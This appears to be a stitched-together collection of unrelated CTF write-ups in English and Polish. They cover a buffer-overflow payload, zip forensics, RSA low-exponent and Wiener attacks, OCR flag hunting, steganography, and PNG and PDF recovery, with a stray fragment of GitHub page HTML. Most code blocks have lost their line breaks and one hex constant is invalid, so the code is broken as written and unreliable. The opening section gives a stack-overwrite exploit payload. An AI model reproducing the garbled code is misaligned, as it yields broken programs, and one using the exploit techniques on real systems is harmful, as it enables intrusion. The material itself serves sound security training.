Jeśli wykonamy którykolwiek z tych 2 skoków flaga nie zostanie odczytana i wypisana.Musimy więc tak ustawić zmienne na stosie, żeby ominąć te dwa warunki.
Za pomocą debuggera możemy szybko wyliczyć że pierwsza wartość z `esp + 0x10` jest tylko 4 bajty powyżej adresu powrotu z main który nadpisaliśmy, więc potrzebujemy rozszerzyć nasz payload do:
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)`
aby ominąć pierwszy warunek.Druga zmienna jest pod `esp + 0x14` więc to po prostu kolejne 4 bajty, więc payload rozszerzamy do:
`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)`
Wysyłając taki zestaw danych dostajemy: `3DS{b0f_pr4_c0m3c4r_n3}` |
# Breaking News
> Breaking News
> 300
> We just received this transmission from our news correspondents. We need to find out what they are telling us.
> Download Link: https://drive.google.com/file/d/0B_AQp5s_S-khWjExSllLYjFRR0E/view?usp=sharing
We were given 20 zip archives. I opened one of them to see what was inside, and discovered that the only content was a single text file. The file didn't have much in it:
```Coming to you live from QuarfBlaaaark 7, this is Montgomery Flaaaargendach with Live Forensic Files: Raw Forensic Adventures.```
I wrote a Python script to find out what was inside the rest of the archives.
``` pythonimport os, zipfile
directory = os.getcwd() + '/Forensics-300' + '/'
for filename in os.listdir(directory): fn = filename.split('.') if fn[1] == 'zip': z = zipfile.ZipFile(directory + filename) print z.namelist()```
The script showed that each of the archives only had one text file in each of them. I then turned to the only other files available, which were the zip archives themselves. I opened a few of them in a hex editor. At the end of Chapter4.zip, I found a piece of text that looked like base64. It turned out to be base64 encoding of 'RC' (UkMK), which is the start of the flag.
From the [zip file specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) we can learn that the end of zip file field starts with bytes 0x06054g50 and is 22 bytes long. Also, all values are stored in little-endian byte order unless otherwise stated.
I wrote a Python script that looks for the end of zip directory central record and prints out any data that appears after it.
``` pythonfor filename in sorted(os.listdir(directory), cmp=lambda x, y: cmp(get_num(x), get_num(y))): with open(directory + filename, 'rb') as f: content = f.read() hexed = binascii.hexlify(content) for i in range(len(hexed)): if zipend == hexed[i:i+8]: found = hexed[i + 22 * 2:] if found: flag.append(b64d(found.decode('hex')).strip()) print found.decode('hex')```
With this script I was able to find five strings that appeared after the end of the zip archive.```QkxTCg==S1lGCg==MTYtRFUKUkMKMy0yMAo=```After decoding each of the base64 strings, and appending them together, I got the flag:```RC3-2016-DUKYFBLS``` |
# iRoot (crypto 300)
###ENG[PL](#pl-version)
In the task we get RSA parameters:
```c = 2044619806634581710230401748541393297937319n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143```
The unusual thing is that public exponent is not given and that `c` is very small compared to `n`.This suggests that maybe `e` was so small that `m^e` did not exceed `n`, or did it only very slightly.We check this by simply computing k-th integer root for `c` to see if maybe we can find `e`:
```pythonimport gmpy2from src.crypto_commons.generic import long_to_bytes
def main(): c = 2044619806634581710230401748541393297937319 n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143 for i in range(2, 10): root = gmpy2.iroot(c, i)[0] if root**i == c: print(i, long_to_bytes(root))
main()```
And we were right - we get info that `e = 3` and message is `so_low`.
###PL version
W zadaniu dostajemy parametry RSA:In the task we get RSA parameters:
```c = 2044619806634581710230401748541393297937319n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143```
Nietypowa rzecz jest taka, ze wykładnik szyfrujący nie jest podany i `c` jest bardzo małe w porównaniu do `n`.To sugeruje że może `e` było tak małe że `m^e` nie przekroczyło `n`, albo tylko nieznacznie.Żeby to sprawdzić postanowiliśmy policzyć k-te pierwiastki całkowite dla `c` w poszukiwaniu `e`:
```pythonimport gmpy2from src.crypto_commons.generic import long_to_bytes
def main(): c = 2044619806634581710230401748541393297937319 n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143 for i in range(2, 10): root = gmpy2.iroot(c, i)[0] if root**i == c: print(i, long_to_bytes(root))
main()```
I mieliśmy racje - dostaliśmy informacje że `e = 3` a flaga to `so_low`. |
#!/usr/bin/env python<span></span>import hashlibfor flag in range(0, 10000):<span> b = ((512 | flag ) ^ (318) ) & 1405</span><span> if b == 1337:</span><span> print flag</span><span> flag_sha256 = hashlib.sha256(str(flag)).hexdigest()</span><span> print "flag is : 3DS{"+flag_sha256+"}"</span><span> exit()</span> |
# What the hex (for 300)
###ENG[PL](#pl-version)
In the task we get a large binary file (too large to put here, sorry).We notice that the file is in fact a 3000 concatenated JPG files with missing headers.We fix them and split with a script:
```pythons = open("massa.raw", "rb").read().decode("hex")r = s.split("FIF\x00")for i in range(1, 3001): open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i])```
And this way we get 3000 files looking like this:
It's quite clear that the `flag` in the picture has incorrect format.We assume that there is one flag with proper format somewhere, but who would look for it by hand?Instead we used pytesseract to OCR each file and look for something more like the flag.Tesseract had some issues with reading blue letters on blue background, so we made it black and white with Pillow first:
```pythonimport codecsimport ioimport mathfrom multiprocessing import freeze_supportfrom PIL import Imagefrom pytesseract import pytesseractfrom crypto_commons.brute.brute import brute
def similar(color1, color2): return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50
def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if similar(color, filling): pixels[i, j] = white else: pixels[i, j] = black
def worker(i): with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f: image_file = io.BytesIO(f.read()) im = Image.open(image_file) im = im.convert('RGB') black_and_white(im, (173, 217, 230)) text = pytesseract.image_to_string(im, config="-psm 8") print(i, text) if not text.startswith("3dsctf"): im.show() print('real flag', i, text)
def main(): brute(worker, range(1, 3001))
if __name__ == '__main__': freeze_support() main()```
By running this in paralell with our crypto-commons multiprocessing brute we get the results pretty fast and the only result we get is:
There was a very nasty twist here, because the actual flag was supposed to contain large `O` and small `L`.While the `L` is reasonable, since both large `i` and small `L` look alike, using large `O` where in the picture it's pretty clear that we have `0` is just a dick move.
Anyway the actual flag was `3DS{u_5hOuIdv3_7ried_tesseract}`
###PL version
W zadaniu dostajemy duży plik binarny (za dużo żeby to wrzucić, przepraszamy).Zauważamy, ze plik to w rzeczywistości sklejone ze sobą 3000 plików JPG bez headerów.Poprawiamy je i dzielimy za pomocą:
```pythons = open("massa.raw", "rb").read().decode("hex")r = s.split("FIF\x00")for i in range(1, 3001): open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i])```
I tym sposobem dostajemy 3000 plików wyglądajacych tak:
Jest dość jasne, że `flaga` na obrazku ma niepoprawny format.Zakładamy że jest tam gdzieś jedna poprawna flaga, ale kto by jej szukał ręcznie?Zamiast tego używamy pytesseract żeby OCRować pliki i szukać czegoś co bardziej przypomina flagę.Tesseract miał jakieś problemy z niebieskimi napisami na niebieskim tle więc zmieniliśmy obrazki na czarno-białe za pomocą Pillow:
```pythonimport codecsimport ioimport mathfrom multiprocessing import freeze_supportfrom PIL import Imagefrom pytesseract import pytesseractfrom crypto_commons.brute.brute import brute
def similar(color1, color2): return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50
def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if similar(color, filling): pixels[i, j] = white else: pixels[i, j] = black
def worker(i): with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f: image_file = io.BytesIO(f.read()) im = Image.open(image_file) im = im.convert('RGB') black_and_white(im, (173, 217, 230)) text = pytesseract.image_to_string(im, config="-psm 8") print(i, text) if not text.startswith("3dsctf"): im.show() print('real flag', i, text)
def main(): brute(worker, range(1, 3001))
if __name__ == '__main__': freeze_support() main()```
Uruchamiając to równolegle z naszym brute z crypto-commons dostajemy dość szybko wyniki i jedyne trafienie to:
Było tutaj dość nieładne zagranie ze strony organizatorów, bo flaga miała zawierać duże `O` oraz małe `L`.O ile `L` jest sensowne, bo duże `i` oraz małe `L` wyglądają tak samo, użycie dużego `O` podczas gdy na obrazku ewidentnie mamy `0` to po prostu zagranie poniżej pasa.Tak czy siak końcowa flaga to `3DS{u_5hOuIdv3_7ried_tesseract}` |
# Unbreakable (crypto 200)
###ENG[PL](#pl-version)
In the task we get a list of ciphertexts:
```4afa32e89fce5fb84c1307e727f117cc999bc443cb646149aecc45df146f50803ca153e101d9b31eee0ac0c3c017b963ef3b74abc528422d08149e2c61a2c83573989368467b3c0696a63686cf4dfd0e8fb7ca943769554f6ddeed6be47a3dbc8695a26f148641619ceac19cd1e62b563711e015aefb0fa8f7868adfb616e406c75b1b43f901df61c95d24a8f8381228dd000cd554dc757250bfdd56e125716a9a4db264f2a2e0c42fffabdad4da28c074f14c85bcd639533ea9250f3d72b3d94684090479578c4da707b74797d15e1eaf91c8db05487066517eeffe7cf58b4ecd9706b371259752720dfbd20de2f73c674822fa26bf1ca1b918979be1c727f5a7d8c494ba812968d951c60b3f8faf900f6622256ccb65ece0c24866cd790ce9d313b640db8030725b088834636b630f52eb89b5fc456da1caa7310c28a6e04a61bdfb212be1cef5b63e2e4ebe1e69c79738195f642cbfe2ddc9e77887e58cf4b7561e2d4ae90c1ec0e026846026708ea5debf00830d489539419f1e14795e0e8c3e6fd505cb923079e062d7ac4191b10aa17733367ddc76fdfad35977de80adf0e424c75aec9a4a836ca99945747c74a163fc90c61d567eb2dbb842ad39b7fa5b72ce1c323cf2df16c74f3f5fcf2f70d808492061753dc1f3eed0f88998f69d15c8672f3e5bf0ad2fdafa37957a378a9fb6efc1aa94ae59064052012f25806faf9d4f71e6a6dc034a80fa73e8bd5202c2abb28844478eed871e1be46088ef9abe1af535d86bfd0b5b947db00056858d85b2741d0ad72e678fc3ecc953be40c81b6c83df2d434d13e127d8514161d1318ae9a9503a72864ed214ffea199009170e26d978314f6c1abe31eb1b48068b489b01c7f1d2bb05bf60a75a63a231369a71b10e5182f7b7eda45b9a1b84f9ce63a3d3bcc39955589ffe982f2cf57a99f10bcf2b1646e97c1eac6c058ecaaa67969e96c3852eabe83f7891d4fdd064cf5ad92c7d94e13e545e24f238e9625272e2429bf0b06a4b83975fe32511fb200aa028af37e08942517d2bcf42fc2c59a79c590ca2d812e3cca6c17ab86b74b342470b82c2af6293a272096ef746b73ea4801d6d9d788d44fff34aa043cac8af2644ab578ac7b1e10428b068185f308666124140418d3fc06703da234b9ea9951e8af694c8294e0bd0fef0ceacd3041cfc2c0cec47a57516e73d42fa0dcfbba7c55665c36ad20534ecfb29c78aeca8c8f46248f4586c93bc0d88618b2673172e7dece2573c8c6a1c4db383a07f1857c84fb59a2e7e0e899e5511145bba54dbd9b13755bc689bd8c2f2a539ca7929614a977723525a529e41da78a4eb345c0fb0062f9b1705d9305facea1f1adfbde4a52d1d3dadfd58b68627f84e531baed1ccb8d66776d47be3a645fd1c30d89bfdb9d915735915697d04cdae99729c3784283f8efdf3684d9d7b2d5e18c8feb56c0b2c9510df74b4e4cdd4006669011f09313d168b0012acd13c2757f08d2fbd7da69fdbbb78070f07d4963fbcf9418902e51eea75d16be03d8e05f24f656f351349f0736383f3530c1aca7b5c940861f436221c3aabba39b148fa9053628e3cd1531d3d60b80d60adb3e923f4ddb7d28bc97c85c45358ac93d3b1730429d91fc67dac3d062ae185c5f5dee5aa7770a221a0424e279caa23bde24d38681a9e31ce8eb701eccc89a8a1a8e50741cd105290a3f62ffb86e27cfa4e9fa6135176714624501a8474941464ad2bdb8c6d05a9721547332d4bbccb40c2591b0a64739f4de2642e4e7ac9ae7abec4f03415eec8e39cd08d96d56469bd04e4c284a530e021d78ebd4ea73bf296d616eff6bb888ab332ba535f380dbb34cef35e49792b0f42df9fc8a2fddd90b9b2b9f6a852de2a630ab417311c97f38d1b5f01b72462878257356a2b9585052575be3cec9d7ea6b0832658443e5ccddc5ad3602cab7584015ef3753f5f8bd0bf8bcfd51a4526ffd9f40dea9e07e67570cea5f5d395b66c2c5410a2e172d06e35b919492339eeaaade665ed86836ac1ee67f236827b0b5ec37513b3fad53111bcebe5eb39da85125d96cde740644fb036a14e83c4e05795a0a580689d5eb8a8c85808e26f2fb102d9eca6598a77628ff11f8d169c5fde08a7c48236086383ae1ce3aef3184d7859331b37c12db2c029080cf2d83816b8e97d3d652ab3f283ea7f46c020503440ffbbbef776fe97947bd2ff781347938cac6fd48624c41be64222cdfcf6fc40eb96236e07def85a7551ca47b25f94d5fa6806bab69a790e6fc9b9d969a9f37131c2a3e0fdb7609b88739112219e270d61efa9b8d59347a97494bf2df4bf14295e8960442c48d23ec3da30a9ad13e94927c9f08e4e763bc41394fb8157da3a6a455a11cccf18871f08058ce311892458049dbd71e59735d52cf75333de1d171d5afc07347fa8ef196b8662db58c36105e61b79a7cbc70b80af71d0c0e070b0148242d3b4fa1ec87a0c99840223320f38ae72f1b0c9e60458b08505c13e15c125306f907a553d59e34fd4eb4ab0be24f05038d01a9f5f874cd524051c9268eb4b7b566b22ddd1299821a9a69df422903569a50ece82f60846e63d186444ef2e282e6b1da84581b9f1207c9773ec69d472a6f72c80b8dcd8ac9ab182eadafa8aca259353e4c51b2fd98bad0095a33443a149bf8312cad0f7a569ca96a6d24f26d2364a710a8b664e60f451e5fc5bcacf351a6a49ea2b```
RSA public key:
```-----BEGIN PUBLIC KEY-----MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQJv2xhIxiuhHjnor5wSIRKv2N9SPlfz4OARJP7pK+1P6+Deh6OwMwKI8PNfu82IsCyLRh7QLE6vv6pidMRcAl5f8xXGTrKO2jeDobGuaU5iUJFCZaqTk+P4oqPfPasZFSt5b61Ry8gHm0duznl5oBvwWgU3jIThczwB4OJvlqyxvQKBgQHWX/1eQndrZGyltFAAcklgmddKdq6YKd83LYJpj88ZYXdud5ZvbfgisxIP5dfSb/O71nK97XRRvwrmEQhIlWhJEHPhsRZnaxrXl3v9Cs1g+iRZIlbGbOiO5YyY3rv6bJRQAlVieDQAH/DS4aQ23v0hw4C8U/P2fe70EA6QKChwew==-----END PUBLIC KEY-----```
And some custom function which was used on top of RSA to encrypt the ciphertexts:
```pythondef unbreakable(plaintext, shift): alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] ciphertext = "" for l in plaintext.lower(): if l in dic: l = dic[l] ciphertext += l return ciphertext```
We start off by breaking the RSA public key.We can see that the parameters are:
```e = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213```
And such a big `e` mean it is vulnerable for Weiner attack.So with Sage:
```sagee = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213c_fracs = continued_fraction(e/n).convergents()test_message = 42test_message_encrypted = pow(test_message,e,n)d = 0for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() breakprint(d)```
We recover the decryption exponent `d = 41120410289578972492231832470931555317369771850118171981275077778106071589823`.
Now we need to invert the `unbreakable` function, but this is rather trivial:
```pythondef unbreakable_rev(ciphertext, shift): def get_key(c, dic): for key, value in dic.items(): if c == value: return key return c
alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] plaintext = "" for c in ciphertext: plaintext += get_key(c, dic) return plaintext```
So with those two things at hand we can decrypt the ciphertexts:
```pythonn = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213d = 41120410289578972492231832470931555317369771850118171981275077778106071589823
with codecs.open('flags.txt', 'r') as input_file: for i, line in enumerate(input_file): line = line[:-1] unb = int(unbreakable_rev(line, i + 1), 16) p = pow(unb, d, n) print(i, long_to_bytes(p))```
There a small twist here that for some reason (we were missing 1 of 16 ciphertexts) we were supposed to shift the unbreakable argument by +1.Anyway, by running this we get the flag: `{RS4_wi3n3r_vuln3r4ble}`
###PL version
W zadaniu dostajemy listę ciphertextów:
```4afa32e89fce5fb84c1307e727f117cc999bc443cb646149aecc45df146f50803ca153e101d9b31eee0ac0c3c017b963ef3b74abc528422d08149e2c61a2c83573989368467b3c0696a63686cf4dfd0e8fb7ca943769554f6ddeed6be47a3dbc8695a26f148641619ceac19cd1e62b563711e015aefb0fa8f7868adfb616e406c75b1b43f901df61c95d24a8f8381228dd000cd554dc757250bfdd56e125716a9a4db264f2a2e0c42fffabdad4da28c074f14c85bcd639533ea9250f3d72b3d94684090479578c4da707b74797d15e1eaf91c8db05487066517eeffe7cf58b4ecd9706b371259752720dfbd20de2f73c674822fa26bf1ca1b918979be1c727f5a7d8c494ba812968d951c60b3f8faf900f6622256ccb65ece0c24866cd790ce9d313b640db8030725b088834636b630f52eb89b5fc456da1caa7310c28a6e04a61bdfb212be1cef5b63e2e4ebe1e69c79738195f642cbfe2ddc9e77887e58cf4b7561e2d4ae90c1ec0e026846026708ea5debf00830d489539419f1e14795e0e8c3e6fd505cb923079e062d7ac4191b10aa17733367ddc76fdfad35977de80adf0e424c75aec9a4a836ca99945747c74a163fc90c61d567eb2dbb842ad39b7fa5b72ce1c323cf2df16c74f3f5fcf2f70d808492061753dc1f3eed0f88998f69d15c8672f3e5bf0ad2fdafa37957a378a9fb6efc1aa94ae59064052012f25806faf9d4f71e6a6dc034a80fa73e8bd5202c2abb28844478eed871e1be46088ef9abe1af535d86bfd0b5b947db00056858d85b2741d0ad72e678fc3ecc953be40c81b6c83df2d434d13e127d8514161d1318ae9a9503a72864ed214ffea199009170e26d978314f6c1abe31eb1b48068b489b01c7f1d2bb05bf60a75a63a231369a71b10e5182f7b7eda45b9a1b84f9ce63a3d3bcc39955589ffe982f2cf57a99f10bcf2b1646e97c1eac6c058ecaaa67969e96c3852eabe83f7891d4fdd064cf5ad92c7d94e13e545e24f238e9625272e2429bf0b06a4b83975fe32511fb200aa028af37e08942517d2bcf42fc2c59a79c590ca2d812e3cca6c17ab86b74b342470b82c2af6293a272096ef746b73ea4801d6d9d788d44fff34aa043cac8af2644ab578ac7b1e10428b068185f308666124140418d3fc06703da234b9ea9951e8af694c8294e0bd0fef0ceacd3041cfc2c0cec47a57516e73d42fa0dcfbba7c55665c36ad20534ecfb29c78aeca8c8f46248f4586c93bc0d88618b2673172e7dece2573c8c6a1c4db383a07f1857c84fb59a2e7e0e899e5511145bba54dbd9b13755bc689bd8c2f2a539ca7929614a977723525a529e41da78a4eb345c0fb0062f9b1705d9305facea1f1adfbde4a52d1d3dadfd58b68627f84e531baed1ccb8d66776d47be3a645fd1c30d89bfdb9d915735915697d04cdae99729c3784283f8efdf3684d9d7b2d5e18c8feb56c0b2c9510df74b4e4cdd4006669011f09313d168b0012acd13c2757f08d2fbd7da69fdbbb78070f07d4963fbcf9418902e51eea75d16be03d8e05f24f656f351349f0736383f3530c1aca7b5c940861f436221c3aabba39b148fa9053628e3cd1531d3d60b80d60adb3e923f4ddb7d28bc97c85c45358ac93d3b1730429d91fc67dac3d062ae185c5f5dee5aa7770a221a0424e279caa23bde24d38681a9e31ce8eb701eccc89a8a1a8e50741cd105290a3f62ffb86e27cfa4e9fa6135176714624501a8474941464ad2bdb8c6d05a9721547332d4bbccb40c2591b0a64739f4de2642e4e7ac9ae7abec4f03415eec8e39cd08d96d56469bd04e4c284a530e021d78ebd4ea73bf296d616eff6bb888ab332ba535f380dbb34cef35e49792b0f42df9fc8a2fddd90b9b2b9f6a852de2a630ab417311c97f38d1b5f01b72462878257356a2b9585052575be3cec9d7ea6b0832658443e5ccddc5ad3602cab7584015ef3753f5f8bd0bf8bcfd51a4526ffd9f40dea9e07e67570cea5f5d395b66c2c5410a2e172d06e35b919492339eeaaade665ed86836ac1ee67f236827b0b5ec37513b3fad53111bcebe5eb39da85125d96cde740644fb036a14e83c4e05795a0a580689d5eb8a8c85808e26f2fb102d9eca6598a77628ff11f8d169c5fde08a7c48236086383ae1ce3aef3184d7859331b37c12db2c029080cf2d83816b8e97d3d652ab3f283ea7f46c020503440ffbbbef776fe97947bd2ff781347938cac6fd48624c41be64222cdfcf6fc40eb96236e07def85a7551ca47b25f94d5fa6806bab69a790e6fc9b9d969a9f37131c2a3e0fdb7609b88739112219e270d61efa9b8d59347a97494bf2df4bf14295e8960442c48d23ec3da30a9ad13e94927c9f08e4e763bc41394fb8157da3a6a455a11cccf18871f08058ce311892458049dbd71e59735d52cf75333de1d171d5afc07347fa8ef196b8662db58c36105e61b79a7cbc70b80af71d0c0e070b0148242d3b4fa1ec87a0c99840223320f38ae72f1b0c9e60458b08505c13e15c125306f907a553d59e34fd4eb4ab0be24f05038d01a9f5f874cd524051c9268eb4b7b566b22ddd1299821a9a69df422903569a50ece82f60846e63d186444ef2e282e6b1da84581b9f1207c9773ec69d472a6f72c80b8dcd8ac9ab182eadafa8aca259353e4c51b2fd98bad0095a33443a149bf8312cad0f7a569ca96a6d24f26d2364a710a8b664e60f451e5fc5bcacf351a6a49ea2b```
Klucz publiczny RSA:
```-----BEGIN PUBLIC KEY-----MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQJv2xhIxiuhHjnor5wSIRKv2N9SPlfz4OARJP7pK+1P6+Deh6OwMwKI8PNfu82IsCyLRh7QLE6vv6pidMRcAl5f8xXGTrKO2jeDobGuaU5iUJFCZaqTk+P4oqPfPasZFSt5b61Ry8gHm0duznl5oBvwWgU3jIThczwB4OJvlqyxvQKBgQHWX/1eQndrZGyltFAAcklgmddKdq6YKd83LYJpj88ZYXdud5ZvbfgisxIP5dfSb/O71nK97XRRvwrmEQhIlWhJEHPhsRZnaxrXl3v9Cs1g+iRZIlbGbOiO5YyY3rv6bJRQAlVieDQAH/DS4aQ23v0hw4C8U/P2fe70EA6QKChwew==-----END PUBLIC KEY-----```
I jakąś autorską funkcje użytą jako dodatek do RSA:
```pythondef unbreakable(plaintext, shift): alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] ciphertext = "" for l in plaintext.lower(): if l in dic: l = dic[l] ciphertext += l return ciphertext```
Zaczynamy od złamania klucza publicznego RSA.Widzimy że parametry to:
```e = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213```
A tak duże `e` jest podatne na atak Wienera.Więc za pomocą Sage liczymy:
```sagee = 330308529733985078905192489170457797127445873886898886884167097632004156404145841905155557293348697562191247181138098211415966471442518825658480167379206235599206895852734016511083329346348463780299199626557639461008110628563442507362604398459446042070313485121763459101281714995771633784632378550465577119867n = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213c_fracs = continued_fraction(e/n).convergents()test_message = 42test_message_encrypted = pow(test_message,e,n)d = 0for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() breakprint(d)```
I odzyskujemy wykładnik deszyfrujący `d = 41120410289578972492231832470931555317369771850118171981275077778106071589823`.
Teraz musimy jeszcze odwrócić funkcje `unbreakable` co jest dość trywialne:
```pythondef unbreakable_rev(ciphertext, shift): def get_key(c, dic): for key, value in dic.items(): if c == value: return key return c
alphabet = ["a", "b", "c", "d", "e", "f", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] dic = {} for i in range(0, len(alphabet)): dic[alphabet[i]] = alphabet[(i + shift) % len(alphabet)] plaintext = "" for c in ciphertext: plaintext += get_key(c, dic) return plaintext```
Majac te dwa elementy pod ręką możemy odszyfrować dane:
```pythonn = 438086468535501215559099821943641565440163837859843437360994716558082080505682672423625729340496687893196218594088978020343109764032002743133493845164774889396516790921601420834111428144281957595107296011951640484375132818685917451714669162950174081376950570372632914428315670385863665730062358610049531425213d = 41120410289578972492231832470931555317369771850118171981275077778106071589823
with codecs.open('flags.txt', 'r') as input_file: for i, line in enumerate(input_file): line = line[:-1] unb = int(unbreakable_rev(line, i + 1), 16) p = pow(unb, d, n) print(i, long_to_bytes(p))```
Był tam mały szkopuł, bo należało argument funkcji odwracającej unbreakable przesunąć o +1 (bo niby brakowało nam 1 z 16 ciiphertextów).Tak czy siak uruchamiając powyższy kod dostajemy: `{RS4_wi3n3r_vuln3r4ble}` |
# Excaliflag
## Description[EN] Only a true hacker could pulling the flag from this ground.
[PT] Somente um verdadeiro hacker poderia puxar a bandeira deste chao.
## Solution
The image contains a real flag stuck into the ground and nothing more.Using the gray bits filter from [Stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install), the flag was revealed.
Flag: 3DS{Gr4b_0nly_th1s_B1ts} |
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<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeup</span></span></span><span>/</span><span><span>2016_seccon</span></span><span>/</span>shopping<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/DaramG/ctf-writeup/tree-commit/4b69e2f6c0aa79f4be819afdbf1834166d26bc06/2016_seccon/shopping" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>shopping</span> </div>
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## Pretty Raw
We were given an unknown file; it contains a lot of zero bytes and some other; checking the end of file shows `IEND` and it suggests this file contents `PNG`, so I extracted it:
As the picture suggests, it seems there's another `PNG` file called `flag.png` and its size is ~ 8 Kb, so I thought the unknown bytes should be uncompressed `IDAT` chunk; I compressed them and replaced `IDAT` chunk with the original picture and fixed image size as `picture.png` implied , without correct CRC and the result was the following picture:
We've got another flag! |
## Strange PDF
We were given a PDF file containing some rotated `SharifCTF` string in the middle of page; Opening the file in a text editor shows there's 34 additional objects that were never referenced in the `PDF` file; I changed line 27 to `/Contents 7 0 R` and the secret revealed, so I wrote a script to generate the sequence of missing objects; Here's an example:
```101 0 obj<</Type /Page/Parent 2 0 R/Resources << /XObject << /A 6 0 R >>>>/Contents 7 0 R>>endobj```
